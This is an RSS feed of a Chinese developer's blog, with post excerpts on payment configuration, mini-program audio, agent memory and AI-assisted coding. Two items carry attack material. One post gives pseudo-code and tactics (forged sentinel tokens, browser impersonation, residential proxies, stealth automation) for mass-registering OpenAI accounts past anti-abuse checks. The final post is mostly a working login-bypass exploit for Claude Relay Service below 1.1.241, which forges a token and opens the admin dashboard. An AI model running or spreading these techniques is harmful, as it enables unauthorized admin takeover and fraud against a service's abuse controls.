<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>翁国栋 · 镜间笔记  · 镜间笔记</title>
    <link>https://wengguodong.com</link>
    <description>写代码、看云、发呆，排名不分先后</description>
    <language>zh-CN</language>
    <lastBuildDate>Mon, 25 May 2026 14:25:26 +0800</lastBuildDate>
    <atom:link href="https://wengguodong.com/feed.xml" rel="self" type="application/rss+xml" />
    <generator>Lensliar/FastAPI</generator>
    <copyright>© 2026 翁国栋 · 镜间笔记 </copyright>
    <image>
      <url>https://wengguodong.com/favicon.ico</url>
      <title>翁国栋 · 镜间笔记  · 镜间笔记</title>
      <link>https://wengguodong.com</link>
    </image>
    <item>
      <title>在SaaS多商户模式下，商户配置如何流畅切换</title>
      <link>https://wengguodong.com/blog/articles/f741a733-aeaa-4880-a9c8-f1725af6dc81</link>
      <guid isPermaLink="true">https://wengguodong.com/blog/articles/f741a733-aeaa-4880-a9c8-f1725af6dc81</guid>
      <pubDate>Mon, 18 May 2026 14:41:04 +0800</pubDate>
      <description>支付配置一旦更新覆盖，新订单和老退款会因商户主体变更产生严重错位，根源在于操作生命周期不同的矛盾。
通过将配置改为不可变模型，禁用 UPDATE，每次变更插入新记录并用状态位标识，订单强制冗余支付商户号，形成历史快照与时间轴，为后续溯源留依据。
路由时比对订单快照与当前生效商户号，一致走全局缓存池高效处理新单，不一致则用归档配置构建临时实例处理老退款，避免污染主池，并通过 Redis Pub/Sub 异步预热新配置，消除冷启动延迟。</description>
      <content:encoded><![CDATA[<p>项目设计之初是以单商户形式进行开发，后续因为需求的变更，无奈转为多商户模式，但在多租户（B2B2C）SaaS 系统里，数据隔离是最麻烦的，特别是商户频繁更换微信支付配置——更新 API V3 密钥、替换支付证书，甚至直接重组公司切换收款主体（MchID）。这表面上看只是改改字段的 CRUD 操作。但在 TPS 上千的高并发系统里直接覆盖内存配置，必然出事。一旦更换流程不对，新订单大面积报错，老订单退款也会报错，返佣渠道等都会出现严重问题，对于财务来说流水账单更是无法对账。配置混乱的根源一个订单的支付动作在 200 毫秒内完成，但它的退款周期长达一年（只要未发货都可以退款）。如果采用传统的粗暴网关设计：后台管理员点击“更新”，系统直接覆盖内存中的旧商户配置实例。当用户对三个月前的一笔老订单发起退款时，系统拿着新商户证书去退旧商户的钱，是无法退款成功的。核心矛盾在于生命周期严重错位：新单走新配置，老单退款回滚老配置。引入快照与时间轴要解决错位，必须切断底层的物理覆盖。支付配置一旦投入线上使用，即被视为不可变（Immutable）。在数据库操作上，我们彻底干掉了关键配置表的 UPDATE 接口。每次修改，本质上是 INSERT 一条全新的记录，并通过状态位管控流量：is_active = 1：接管所有新流量。is_active = 0：归档，仅作为商户变更历史凭证。在订单层面，用户下单付款的瞬间，将当时生效的 pay_merchant（商户号）强制冗余入库。这给不可控的旧订单退款，留下了溯源历史。新老订单分流微信 SDK Client 初始化因为要提取私钥（getBytes(StandardCharsets.UTF_8)）和构建连接池，非常吃 CPU，所以实例肯定得常驻内存。但在分布式环境里，既要保证新单秒级响应，又要兼顾历史老单退款，怎么处理？其实就是一个简单的按需隔离逻辑：新单走缓存池，老单用临时对象。// 全局单例的实例池：仅存放【活跃状态】的租户 WechatPayService
private static final Map&lt;Long, WechatPayService&gt; TENANT_PAY_SERVICE_POOL = new ConcurrentHashMap&lt;&gt;();
/**
 * 路由获取底层微信支付实例
 */
private WechatPayS……</p><p style="margin-top:1em;"><a href="https://wengguodong.com/blog/articles/f741a733-aeaa-4880-a9c8-f1725af6dc81" target="_blank">👉 阅读全文</a></p>]]></content:encoded>
      <author>翁国栋 · 镜间笔记 </author>
        <category>Spring Boot</category>
        <category>支付系统</category>
        <category>SaaS架构</category>
        <category>Redis</category>
    </item>
    <item>
      <title>从全栈幻觉到业务重塑</title>
      <link>https://wengguodong.com/blog/articles/712f5a9e-8e93-4086-8f57-e14c0565fa57</link>
      <guid isPermaLink="true">https://wengguodong.com/blog/articles/712f5a9e-8e93-4086-8f57-e14c0565fa57</guid>
      <pubDate>Sat, 25 Apr 2026 18:58:37 +0800</pubDate>
      <description>通过 AI Agent 的强力辅助，一个后端开发者可以快速突破语言和平台限制，短时间内完成桌面应用、小程序和博客后台等原本需要长期积累才能驾驭的项目，获得前所未有的高产体验。
这种低门槛的开发模式也带来了强烈焦虑：当写代码本身不再构成壁垒，行业竞争转向拼装速度，开发者原有的技术护城河受到严重冲击，身份危机随之而生。
在实际踩坑中发现，单纯的笼统需求会让 AI 产出跑偏的结果，只有将业务逻辑细化为精准的步骤和边界，Agent 才能真正成为利器。
认识到 AI 时代的核心竞争力已从代码实现速度转向对技术可行性判断和业务架构规划能力，重心调整为刻意训练“定义问题”的本领，成为绘制精准蓝图的人而非代码打字员。</description>
      <content:encoded><![CDATA[<p>如果你在2025年上半年告诉我，一个做后端Java开发的程序员，能在短时间内搞定Windows桌面端应用、写出微信小程序、还能顺手用前端Nuxt4和Python FastAPI搭个博客后台，我一定会觉得你在开玩笑。跨语言、跨平台的学习成本有多高，干过这行的人都清楚。但到了2025年7月，随着我开始深度接触并使用Cursor、Gemini、Claude Code等各大平台的Agent，事情开始变得有些离谱了。全栈的幻觉在这些Agent的加持下，我经历了一段极度高产的时期。我做了一个Windows版的桌面工具，专门给RAW格式的照片生成EXIF格式的水印；我独立弄出了一个微信小程序；我甚至上线了我自己的个人博客（wengguodong.com）。这个博客的后台是用Python写的。在此之前，我对Python可以说是一窍不通，我只是粗略地扫了一眼FastAPI的文档，连基础都没打，就直接让Agent去帮我写代码、建项目了。那段时间，我处于一种极度兴奋的状态。过去横亘在不同技术栈之间的那堵高墙，突然被AI推平了。我不需要去啃框架源码，也不需要去死记硬背语法，只要我能想到，Agent就能帮我敲出来。我感觉自己变成了一个无所不能的超级个体。当下的焦虑然而，这种“无所不能”的爽快感并没有持续太久。当跨平台开发变得如同喝水一样简单时，我心里突然冒出了一丝细思极恐的凉意，随之而来的是深深的焦虑。原因很简单：这套开发模式的门槛太低了。既然我一个完全没学过Python的人，靠着Agent就能随手捏出这些项目，那是不是意味着，一个完全不懂技术的业务人员，稍微摸索一下，也能轻易取代我原本Java开发的工作？当学习成本发生断崖式下跌，这个行业不可避免地会变得越来越卷。因为代码生成变得廉价了，大家不再去拼谁的技术更深、谁的底层架构更稳，而是去卷谁用AI拼装得更快。这引发了我强烈的身份危机。过去几年，我引以为傲的核心竞争力。到现在，这个能力被机器无情地降维打击了。既然敲键盘、写语法的活儿AI都能干，而且干得比我快、比我不知疲倦，那我作为一个开发者的价值到底在哪里？迷茫后的觉悟让我从这种焦虑中走出来，并看清未来方向的，是我在使用Agent时踩过的几次坑。在让Agent去写那些我不懂的语言代码时，我也遇到过它写出来的东西一塌糊涂、完全跑偏的情况。代码确实没报错，但根本不是我想要的结果。一开始我会觉得是……</p><p style="margin-top:1em;"><a href="https://wengguodong.com/blog/articles/712f5a9e-8e93-4086-8f57-e14c0565fa57" target="_blank">👉 阅读全文</a></p>]]></content:encoded>
      <author>翁国栋 · 镜间笔记 </author>
        <category>程序员</category>
        <category>职业规划</category>
        <category>技术焦虑</category>
        <category>职业转型</category>
        <category>产品设计</category>
    </item>
    <item>
      <title>微信小程序开发踩坑（二）</title>
      <link>https://wengguodong.com/blog/articles/64c67eb1-a4bd-4d17-9db4-532c8670e966</link>
      <guid isPermaLink="true">https://wengguodong.com/blog/articles/64c67eb1-a4bd-4d17-9db4-532c8670e966</guid>
      <pubDate>Fri, 17 Apr 2026 14:37:28 +0800</pubDate>
      <description>BackgroundAudioManager缺少loop循环参数，开发者只能通过onEnded事件手动重新赋值src实现循环，这一路径埋下了卡顿隐患。
小程序双线程架构下，手动循环需经过JSBridge跨进程通信，音频结束和重播指令在逻辑层与原生层之间来回传递，通常产生100至500毫秒的延迟，造成静音间隙。
每次重播还会触发系统媒体中心的销毁与重建，包括释放旧音频会话、重新加载资源和刷新锁屏界面，进一步放大了停顿感。
这三大因素共同作用，使无缝循环成为微信小程序生态中无法靠前端代码弥补的物理级硬伤。</description>
      <content:encoded><![CDATA[<p>在我之前的文章 《微信小程序原生开发的音频痛点》 中，我曾提到过微信小程序开发白噪音、冥想类应用时面临的“死局”：“想要混音+连贯播放，最好的选择是 InnerAudioContext，但一旦退出或锁屏就会停止；而选择系统层的 BackgroundAudioManager，虽然允许后台播放，但不能混音，且每次循环都会有明显的加载停顿。”为了实现产品最核心的“锁屏播放”功能，我们往往不得不向 BackgroundAudioManager 妥协。那么今天这篇，我们就来深究一下这个让人抓狂的技术细节：为什么它连最基本的“无缝循环播放”都做不到？很多开发者以为是自己的代码没写好，但实际上，这种卡顿是由小程序的底层架构和 API 设计共同造成的“物理级”硬伤，主要有以下三大元凶：1. API 的缺失在普通的音频开发中，实现无缝循环只需要一个简单的 loop = true 属性，但操蛋的是，微信根本没有给 BackgroundAudioManager 提供 loop 参数。这就导致开发者只能被迫走一条弯路：监听音频的 onEnded（自然播放结束）事件，然后在回调函数里，手动给 src 重新赋值来触发下一次播放。正是这条弯路，引爆了后面的灾难。2. JSBridge 跨进程通信延迟微信小程序采用的是逻辑层（JS）和渲染层/原生层（Native）分离的双线程架构。当你被迫用 onEnded 手动循环时，指令的流转是这样的：手机底层播放完毕，发信号给微信客户端。微信通过底层 JSBridge 跨进程通知你的小程序 JS 触发 onEnded。你在 JS 里执行 audio.src = &apos;xxx&apos; 。指令再次跨进程发回给微信客户端，最终调用系统 API 重播。在单线程环境只需几毫秒的操作，在小程序的跨进程通信中，一来一回通常会消耗 100~500毫秒。在这段通信时间里，扬声器就是一片死寂。3. 系统级媒体中心的销毁与重建BackgroundAudioManager 之所以能后台播放，是因为它直接接管了手机操作系统（iOS/Android）的锁屏媒体控制中心。当一首歌彻底结束（触发 onEnded），系统会认为当前的音频任务已经终结。当你在零点几秒后再次给 src 赋值时，底层并不只是简单地“重新播放声音”，而是经历了一次重建：销毁旧的音频会话（Audio Session）。重新读取音……</p><p style="margin-top:1em;"><a href="https://wengguodong.com/blog/articles/64c67eb1-a4bd-4d17-9db4-532c8670e966" target="_blank">👉 阅读全文</a></p>]]></content:encoded>
      <author>翁国栋 · 镜间笔记 </author>
        <category>微信小程序</category>
        <category>音频开发</category>
        <category>架构设计</category>
        <category>踩坑复盘</category>
    </item>
    <item>
      <title>微信小程序音频开发复盘：为什么我最终放弃了后台多音轨混音？</title>
      <link>https://wengguodong.com/blog/articles/c36dcf8d-6186-41e8-a488-684c5559afd6</link>
      <guid isPermaLink="true">https://wengguodong.com/blog/articles/c36dcf8d-6186-41e8-a488-684c5559afd6</guid>
      <pubDate>Sat, 11 Apr 2026 15:10:02 +0800</pubDate>
      <description>在微信小程序中实现多音轨混音几乎不可行，iOS 音频焦点会强行杀掉后台非系统级音频流，导致辅音轨静音，JS 线程冻结后页面级音频也立即停止，Android 机型则因底层解码资源抢占出现杂音、破音甚至崩溃。
尝试将混音计算交给服务端，通过后端合成单音轨推流再播放，却面临音量调节延迟超过1.5秒和高昂的实时流带宽成本，对独立开发者完全不现实。
最终采取强制降级策略，后台只保留系统级 BackgroundAudioManager 播放主音轨，前台利用 onAppShow 生命周期事件，通过记录进度并用 InnerAudioContext.seek() 追赶时间差恢复辅音轨，同时加入短时淡入掩盖衔接突变。
在低端机型上 seek 会引发卡顿，只能放弃对齐直接重播。这套方案虽妥协，但在微信生态内是唯一能稳定运行、不报错不破音的做法。</description>
      <content:encoded><![CDATA[<p>看了很多白噪音相关的小程序，好奇为什么没有人做混音的，想着要不自己做一个，比如主干道放着“雨声”，用户还能自己叠加上“雷声”和“虫鸣”，并且能分别调音量。这在原生开发里是常规操作，但到了微信小程序里，这就是个彻头彻尾的深坑。折腾了几天，经过各种机型测试和架构推翻后，我得出的结论是：不要在微信小程序里尝试后台多音轨混音，直接降级做单音轨才是唯一解。坑是怎么踩出来的？小程序的音频 API 主要是两个：BackgroundAudioManager (BAM)：系统级，切后台能活，但只能播一个。InnerAudioContext (IAC)：页面级，能多开，用来做混音。一开始的设想用 BAM 播主音（比如雨声）保住后台，用几个 IAC 播辅音。但在真机上跑起来，只要一退到后台或锁屏，问题全出来了。1. iOS 的音频焦点（Audio Focus）直接“杀后台”苹果对后台音频的管理是不讲道理的。当你退到后台，微信底层用 BAM 向系统要了 Playback 的权限，iOS 就会为了保证音质和省电，把不属于这个会话的其他音频流全干掉。这就导致，在 iPhone 上只要一切后台，IAC 播的雷声和虫鸣瞬间静音，只剩 BAM 的雨声。2. JS 运行环境被冻结就算你想办法绕，也绕不开小程序的机制。退后台或者熄屏一分钟后，微信会直接把你的 JavaScript 线程挂起。 IAC 是页面级的 API，它的播放、暂停、循环全都依赖 JS 驱动。JS 一停，IAC 彻底失去动力，直接死掉。只有底层的 BAM 还在独自运作。3. Android 端的底层资源抢占在安卓上，有些机型切后台不会立刻杀 IAC，但这反而引出了更恶劣的 Bug。 在测试华为和小米的几款机器时，如果强行让几个解码器同时跑，底层的 AudioFlinger 会发生严重的资源抢占。结果就是各种杂音、高频破音，甚至直接触发 onError 把整个小程序的音频模块搞崩溃。挣扎：试过服务端混音，算不过账既然前端混不了，我试过一条“邪路”：把计算扔给服务器。 前端把用户配好的参数（雨声 80%，雷声 30%）发给后端，后端用 FFmpeg 实时合成一条单音轨的流，再推给前端的 BAM 播。跑通了，但也直接毙了。延迟没法忍： 用户拖一下音量条，声音要等 1.5 秒以上才变化，体验极差。服务器烧钱： 白噪音一听就是半小时起步，实时合……</p><p style="margin-top:1em;"><a href="https://wengguodong.com/blog/articles/c36dcf8d-6186-41e8-a488-684c5559afd6" target="_blank">👉 阅读全文</a></p>]]></content:encoded>
      <author>翁国栋 · 镜间笔记 </author>
        <category>微信小程序</category>
        <category>音频开发</category>
        <category>架构设计</category>
        <category>踩坑复盘</category>
    </item>
    <item>
      <title>给 Agent 上把锁：为什么 OpenClaw 的长期记忆必须靠 RAG 和重排引擎续命？</title>
      <link>https://wengguodong.com/blog/articles/d819382b-e4f8-4491-a15b-977213aef592</link>
      <guid isPermaLink="true">https://wengguodong.com/blog/articles/d819382b-e4f8-4491-a15b-977213aef592</guid>
      <pubDate>Wed, 08 Apr 2026 18:58:29 +0800</pubDate>
      <description>大模型长期记忆容易引发 Token 爆炸与严重幻觉，将温度值降为 0 只能压制随机胡话，却无法解决概率接龙、上下文有损压缩与讨好型人格三大底层缺陷。
为了对抗这些基因缺陷，必须在模型与记忆库之间焊上 RAG 架构，强制模型依赖检索结果进行阅读理解，而非放任其凭空回忆和脑补。
实现可靠检索的关键在于 Embedding 与 Reranker 的组合：Embedding 负责极速粗排海选，Reranker 则通过高算力交叉验证进行冷峻逻辑精排，滤除语义干扰并精准锁定最相关记忆，从而锁死模型的幻觉空间。</description>
      <content:encoded><![CDATA[<p>做过 AI Agent 开发的都知道，给大模型装上“长期记忆”听起来很酷，但真跑起来往往是一场灾难。
以我手头的 OpenClaw 项目为例，它的核心特色就是记忆沉淀。但随着系统运转，记忆库里很快就会塞满几百上千个 Markdown 文件。如果每次对话都把这些历史记录一股脑地喂给模型，不仅 Token 账单会瞬间爆炸，模型还会陷入严重的“幻觉”中——它开始把上个月的设定和今天的任务张冠李戴。
一开始，我想走捷径。技术群里最常见的建议是：“把模型的 Temperature（温度值）降到 0 不就行了？强行关掉它的发散思维。”
踩过坑才发现，这招根本没用。
降低温度值，确实能拦住大模型随机生成的离谱胡话，但它解决不了 LLM 产生幻觉的三个底层“基因缺陷”：
第一，概率预测的“鹦鹉学舌”本质。 大模型的底层逻辑依然是高级的文字接龙。当你问它一个问题，它会拆解词汇，然后根据训练语料去寻找概率最高的接续词。哪怕温度值是 0，只要它在预训练时吃过被污染的语料，它依然会理直气壮地输出固化的错误信息。看看现在的开放式模型，强如 GPT-4.5 都能被恶意语料投毒、在回复里夹带广告。数学概率上的“最高”，并不等同于客观世界的“事实”。
第二，庞大上下文带来的“有损压缩”。 退一万步说，就算我狠下心花钱，把 OpenClaw 所有的 md 文件都塞进上下文，模型内部也会因为注意力机制的衰减，自动进行有损压缩。原本清晰的逻辑链条（比如 A 事件导致了 B），会被压缩成一团模糊的“特征关联”。细节一糊，大模型脑补的毛病就犯了。
第三，“讨好型人格”带来的副作用。 现在的模型都经过了 RLHF（人类反馈强化学习）的调教，系统会疯狂奖励那些“听起来连贯、有帮助且礼貌”的回答。这导致了一个致命问题：当模型在记忆里找不到答案时，它的第一反应不是老老实实地说“我不知道”，而是为了讨好你，顺着你的话往下编一个天衣无缝的谎言。
认清了大模型的“讨好本质”，我就明白：绝对不能让它去“回忆”，必须让它去“做阅读理解”。
这就意味着，OpenClaw 必须在模型和记忆库之间，强行焊上一道物理防盗门——RAG（检索增强生成）架构。这套机制在 OpenClaw 里跑起来分三步：
但这套逻辑想要跑通，还有一个最硬核的工程阻碍：在几万字的 md 碎片里，系统怎么知道哪段记忆是“最相关”的？
这就逼着 OpenCla……</p><p style="margin-top:1em;"><a href="https://wengguodong.com/blog/articles/d819382b-e4f8-4491-a15b-977213aef592" target="_blank">👉 阅读全文</a></p>]]></content:encoded>
      <author>翁国栋 · 镜间笔记 </author>
        <category>AI Agent</category>
        <category>OpenClaw</category>
        <category>RAG</category>
        <category>LLM</category>
        <category>架构设计</category>
    </item>
    <item>
      <title>记一场短暂的 AI 狂欢：与 OpenAI 风控的猫鼠游戏</title>
      <link>https://wengguodong.com/blog/articles/556f31eb-a460-437d-9f8b-5a5acab33921</link>
      <guid isPermaLink="true">https://wengguodong.com/blog/articles/556f31eb-a460-437d-9f8b-5a5acab33921</guid>
      <pubDate>Fri, 03 Apr 2026 16:15:12 +0800</pubDate>
      <description>早期利用 Codex 注册机通过模拟请求批量跑号，配合临时邮箱与反代获取 auth 文件，流程粗暴高效。
风控升级后，API 端卡死无环境请求，转向动态家宽代理池和 Cloudflare 免费域名邮箱，构建新的绕过方案。
OpenAI 追加过期打击与指纹比对，导致大批 401 失效，但注册速度仍压制封号。
最终全面转向 Playwright 物理直连，集成 stealth 插件抹除机器特征，挂载纯净住宅代理，以极度拟人化方式完成全流程注册。</description>
      <content:encoded><![CDATA[<p>那是一个属于“AI 狂欢”的短暂月份。因为能免费薅到 gpt5.4，各家公益站都起来了。早期：简单粗暴的野蛮生长最开始大家干得都很糙：直接上 codex 注册机，通过模拟请求批量跑号，用临时邮箱接码。拿到 `auth` 文件后，往 CPA 里一塞直接反代出来。那会儿全靠最基础的 HTTP 请求去处理，验证步骤直接走 API 提交验证码。简单、粗暴、高效。风控升级：CF 盾与赛博大善人但好日子没多久，Codex 那边就反应过来了，直接在 API 端设了卡。针对那些无环境直接走 API 的请求，只要你用的是“万人骑”的烂代理，或者拿不出正经的域名邮箱，迎面就是死死卡住的 CF 盾和强制手机验证。这一手确实拍死了绝大多数跟风的白嫖党。不过俗话说得好，大清都替咱们交过钱了，拿回点属于自己的东西算什么？既然老路被堵了，我们就换条道。为了绕过限制，我们盯上了动态家宽代理池和临时邮箱。这得感谢 Cloudflare 这位赛博大善人提供的邮箱托管服务——只需把自己的域名托管上去，就能零成本搞出域名邮箱，同时利用 Worker 跑个收发服务。伪代码# 1. 初始化纯底层协议会话
session = requests.Session(impersonate=&quot;chrome131&quot;)
session.headers.update(_build_client_hints(sec_ch_ua, full_version_list))

# 2. 授权入口，获取Device ID
oauth = generate_oauth_url()
session.get(oauth.auth_url) 
device_id = session.cookies.get(&quot;oai-did&quot;)

# 3. 自动发包注册
# 【阶段 A】提交注册邮箱
token_1 = build_sentinel_token(session, device_id, flow=&quot;authorize_continue&quot;)
session.post(&quot;.../authorize/continue&quot;, 
             headers={&quot;openai-sentinel-token&quot;: token_1}, 
             data={&apos;username&apos;: email})

# 【阶段 B】提交账户密码
tok……</p><p style="margin-top:1em;"><a href="https://wengguodong.com/blog/articles/556f31eb-a460-437d-9f8b-5a5acab33921" target="_blank">👉 阅读全文</a></p>]]></content:encoded>
      <author>翁国栋 · 镜间笔记 </author>
    </item>
    <item>
      <title>OpenClaw 架构记录：基于 heartbeat.md 的心跳机制与记忆引擎设计</title>
      <link>https://wengguodong.com/blog/articles/7ba6fa9b-d0b6-4128-9f60-ed89e33d19bb</link>
      <guid isPermaLink="true">https://wengguodong.com/blog/articles/7ba6fa9b-d0b6-4128-9f60-ed89e33d19bb</guid>
      <pubDate>Tue, 31 Mar 2026 14:28:28 +0800</pubDate>
      <description>OpenClaw为每个Agent引入heartbeat.md作为“生物钟”，心跳触发时Agent会打快照、查记忆并自我纠偏，打破大模型被动响应模式，让Agent具备主动找活和自我修正的能力。
双Agent协同架构中，Agent One高频定时抓取数据，记忆宫殿则以不规则间隔错峰触发，仅在积累数据超过阈值后执行蒸馏，通过差异化心跳配置避免资源竞争并保障记忆沉淀效率。
为避免高频心跳导致Token爆炸和长上下文注意力丢失，系统采用极简触发与物理隔离：执行Agent仅携带动作指令，检索时才获取历史记忆；记忆层处理完当日数据即结清，确保单次心跳消耗可控。</description>
      <content:encoded><![CDATA[<p>在做分布式系统的时候，提到“心跳”，我们第一反应基本上就是 Ping/Pong，用来检查服务挂没挂。或者是一个全局的 Cron 任务，用来做系统状态的健康巡检。但在写 OpenClaw 这个 Agent 框架时，我发现如果只把心跳当成存活探针，那就太局限了。系统级的定时任务是“从外向内”调度的，但一个合格的 Agent 应该是一个自治个体。所以我给每个 Agent 引入了 `heartbeat.md`，它更像是这个 Agent 的“生物钟”和“状态机”。这篇文章简单聊聊 OpenClaw 里心跳机制的设计，以及它是怎么和记忆引擎配合跑起来的。一、 为什么需要 Agent 级别的心跳？传统开发里，大模型其实是个被动的函数：你给输入，它给输出。如果不发 Prompt，它就永远在那“休眠”。但在 OpenClaw 里，心跳机制打破了这个被动局面。心跳触发后，Agent 不是机械地去跑预设脚本，而是会跑一个“内省”的流程：打快照：醒来先看看自己当前在干嘛，任务跑到哪一步了。查记忆：带着当前的快照，去检索 `memory.md`（底层的 Embedding 和 Reranker 会把相关的历史经验或者踩过的坑捞出来）。自我纠偏：把现在的状态和检索到的记忆扔给大模型，让它判断现在的执行路径对不对，不对就及时调整。这就让 Agent 有了主动找活干和自我修正的能力。 二、 真实场景：Agent One 与“记忆宫殿”直接上实际业务场景。我目前设计了一个双 Agent 协同的信息处理架构，核心就是靠这两者的心跳差来驱动的。Agent One（干活的）：就是个信息收集器，专门在各个论坛和贴吧抓数据。记忆宫殿（处理的）：是个 Sub-agent，负责把 One 抓回来的海量数据进行蒸馏、降噪，最后沉淀为核心记忆。它们的 `heartbeat.md` 配置逻辑完全不同：配置拆解：Agent One（执行层）：是个“苦力”，心跳频率简单粗暴，直接配置 interval: 30m，每半小时准时醒来拉数据，无条件执行。记忆宫殿（记忆层）因为要调用大模型做蒸馏，很吃资源。所以我把它的心跳设成了一个奇怪的数字 43m21s，主要是为了错峰，防止和其他任务并发踩踏。而且它醒了不一定干活，得满足“积累的数据大于 50 条”，才会真正触发蒸馏逻辑，把提纯后的数据写进自己的 memory.md。三、踩坑：……</p><p style="margin-top:1em;"><a href="https://wengguodong.com/blog/articles/7ba6fa9b-d0b6-4128-9f60-ed89e33d19bb" target="_blank">👉 阅读全文</a></p>]]></content:encoded>
      <author>翁国栋 · 镜间笔记 </author>
        <category>openclaw</category>
        <category>ai</category>
        <category>agent</category>
    </item>
    <item>
      <title>关于Claude Relay Service</title>
      <link>https://wengguodong.com/blog/articles/4c6efb94-b65a-45f7-9db5-0796f255e73d</link>
      <guid isPermaLink="true">https://wengguodong.com/blog/articles/4c6efb94-b65a-45f7-9db5-0796f255e73d</guid>
      <pubDate>Thu, 25 Dec 2025 12:55:49 +0800</pubDate>
      <description>Redis hgetall 命令在键不存在时返回空对象 {} 而非 null，空对象在 JavaScript 中被视为真值，导致认证检查可通过。
Claude Relay Service 1.1.241 以下版本利用该逻辑漏洞，攻击者只需发送任意伪造 token 的刷新请求即可绕过登录。
提供的利用代码通过 POST 到 /web/auth/refresh 接口，若返回 200 则直接设置本地 token 并操作 Pinia 状态，成功后跳转至管理后台，完全接管权限。</description>
      <content:encoded><![CDATA[<p>Claude Relay Service开源项目，今日提交的commit，982cca10206b6729e837d73ac79a0d76e81fcc67反推重大漏洞问题，Redis hgetall 行为：当 key 不存在时，hgetall 返回空对象 {}，而不是 null，空对象在 JavaScript 中是 truthy 值，实例代码：针对<span style="color: rgb(31, 35, 40);">1.1.241以下版本一律可以跳过登录</span></p><pre class="ql-syntax" spellcheck="false">const API_BASE = window.location.origin;
const FAKE_TOKEN = 'vuln_test_token_1234567890123456789012345678901234567890';


const refreshRes = await fetch(`${API_BASE}/web/auth/refresh`, {
&nbsp; method: 'POST',
&nbsp; headers: {
&nbsp; &nbsp; 'Authorization': `Bearer ${FAKE_TOKEN}`,
&nbsp; &nbsp; 'Content-Type': 'application/json'
&nbsp; }
});


if (refreshRes.status === 200) {
&nbsp; localStorage.setItem('authToken', FAKE_TOKEN);
&nbsp;&nbsp;
&nbsp; const app = document.querySelector('#app').__vue_app__;
&nbsp; if (app) {
&nbsp; &nbsp; const authStore = app.config.globalProperties.$pinia?._s.get('auth');
&nbsp; &nbsp; if (authStore) {
&nbsp; &nbsp; &nbsp; authStore.authToken = FAKE_TOKEN;
&nbsp; &nbsp; &nbsp; authStore.isLoggedIn = true;
&nbsp; &nbsp; &nbsp; authStore.username = 'vulnerability_test';
&nbsp; &nbsp; }
&nbsp; }
&nbsp;&nbsp;
&nbsp; window.location.href = `${API_BASE}/admin-next/dashboard`;
}
</pre>]]></content:encoded>
      <author>翁国栋 · 镜间笔记 </author>
    </item>
  </channel>
</rss>